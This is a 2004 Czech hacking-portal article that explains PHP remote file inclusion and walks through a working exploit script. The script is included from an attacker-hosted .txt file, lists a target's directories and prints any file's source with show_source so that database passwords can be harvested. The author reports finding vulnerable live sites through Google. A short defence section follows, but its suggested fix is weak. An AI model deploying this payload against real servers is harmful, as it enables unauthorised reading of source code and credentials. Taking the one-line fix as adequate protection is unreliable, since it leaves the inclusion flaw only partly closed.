

Script Injection (PHP remote exploit)

Vložil/a [pog](#) [1], 1 Říjen, 2004 - 17:01

- [Hacking](#) [2]
- [Hacking method](#) [3]

Urcite uz jste nekdy videli v adrese stranky neco jako [www.xyz.org?inc=hello.php](#) [4] Tak ja ted podrobne rozeberu jeden exploit vyuzivajici (zneuzivajici?) teto programatorske chyby.

--[princip exploitu]--

Cele to pracuje na predpokladu, ze webmaster ma pochybne uvazovani a umoznil pres parametr v adrese vlozit nejaky soubor odkudkoliv z internetu. V kódu to vypada asi takhle: `include($cesta);`

V exploitu jsou použity standartní funkce pro práci s adresari a soubory, nic víc. Důležité (a díky tomu to vlastně funguje tak, jak to funguje) je to, že exploit NESMÍ mít příponu PHP, jinak je zpracován už na našem serveru což nechceme. Já mám vyzkoušenou příponu TXT. Takže to probíhá asi takhle: `include()` na serveru A (server který chceme exploitnout) odesle na server B (naš server s uloženým exploitem) požadavek, že chce soubor `exploit.txt`, server B zjistí, že má příponu TXT a že jí nemá zpracovávat, odesle jej beze změny serveru A, a jak jistě víte fce `include()` funguje tak, že přečte obsah vkládaného souboru a provede případné skripty v něm uložené. Tím že server B odeslal soubor TXT dostane skript na serveru A ciste PHP a zpracuje jej.

Jsou tam udělané i nějaké funkce pro práci se soubory pro případ že by jste náhodou někdy objevili stránku, kde má uživatel pod kterým je skript zpracováván práva pro zápis ;) to se nejspíš nestane ale kdo ví :-D

(omluvíte ponekud zdlouhavější popis, píšu to i pro úplně neznale)

--[nejde tam nic menit, na co to sakra je?]--

je to na to, že VZDY musí skript mít aspoň práva pro čtení. A vy díky tomu můžete zobrazit zdroják jakéhokoliv souboru. To v důsledku umožní prokousat se až k souboru, který připojuje databázi (je-li nějaký) a v 80% případů webmasterů pisíček vědomě takoveto diry jsou všechna hesla stejná :-)

--[popis skriptu krok za krokem]--

// nebudu tady popisovat HTML, to není pro funkci skriptu důležité, popisu tu jen klíčové části PHP

```
if(!isset($dir) || $dir == "") $dir = ".";
if(!isset($var) || $var == "") $var = "cesta";
if(!isset($svar)) $$var = "<i>cesta ke skriptu</i>";
```

zde jsou nadefinovány proměnné, které jsou nutné pro běh skriptu

`$var` obsahuje název proměnné, ve které je uložena cesta k souboru, který se musí vkládat

`$dir` obsahuje adresář relativně k souboru, který exploit vkládá? použito dále ve funkci `readdir()` pro načítání obsahu správného adresáře

```
$dirhndl = opendir($dir);
while ($radek = readdir($dirhndl))
{
    if(ereg("\.*$", $radek) && !ereg("^\.{1,2}$", $radek))
```

Script Injection (PHP remote exploit)

Publikováno na serveru Security-Portal.cz (<https://security-portal.cz>)

```
{
    $soubory[] = $radek;
}
elseif(!ereg("^\.{1,2}$", $radek))
{
    $adresare[] = $radek;
}
}
closedir($dirhndl);
```

timto se zjistuje, co je soubor a co adresar. Je to ponekud hloupe napsany, pokud narazite na adresar který ma format nazvu jako soubory tak bude bran jako soubor :-/ ale nevadi :) muzete to někdo vylepsit

cyklus while() zpusobi prochazeni adresarem od zacatku az do konce

první if() zajisti ze za soubor je povazovano vsechno, co ma na konci "tecku" a priponu a vse, co se nejmenuje "." a ".." - aktualni a nadrazeny adresar.

Druhy if() zajisti, ze se za adresare nebudou povazovat "." a ".."

mno a to je vlastne vsechno :-) ve zbyte casti skriptu pouze vypisuju obsah jednotlivych poli (\$soubory a \$adresare) se spravnyimi parametry pro spravnou funkcnost skriptu. Kdyz je definovana promenna \$src (vždy když kliknete na nazev souboru) tak se aktivuje

```
if(isset($src))
{
    show_source($src);
}
```

a tim se zobrazi nadherne barevne zvyrazneny zdrojovy kod :-D

--[obrana]--

k zablockovani teto diry staci napsat místo include(\$cesta); include("./".\$cesta); tim ze zpusobi to, ze soubor je vždy hledan relativne k aktualnimu adresari. Takze když zadate <http://atd.cz/exploit.txt> [5] tak je z toho include("./http://atd.cz/exploit.txt"); a samozrejme 404, file not found.

--[uspesnost]--

namatkovym googlenim jsem nasel asi 20 takovych webu z toho pres 6 bylo zranitelných. Prekvapive hodne jich je na serveru webzdarma

URL článku: <https://security-portal.cz/clanky/script-injection-php-remote-exploit>

Odkazy:

[1] <https://security-portal.cz/users/pog>

[2] <https://security-portal.cz/category/tagy/hacking>

[3] <https://security-portal.cz/category/tagy/hacking-method>

[4] <http://www.xyz.org?inc=hello.php>

[5] <http://atd.cz/exploit.txt>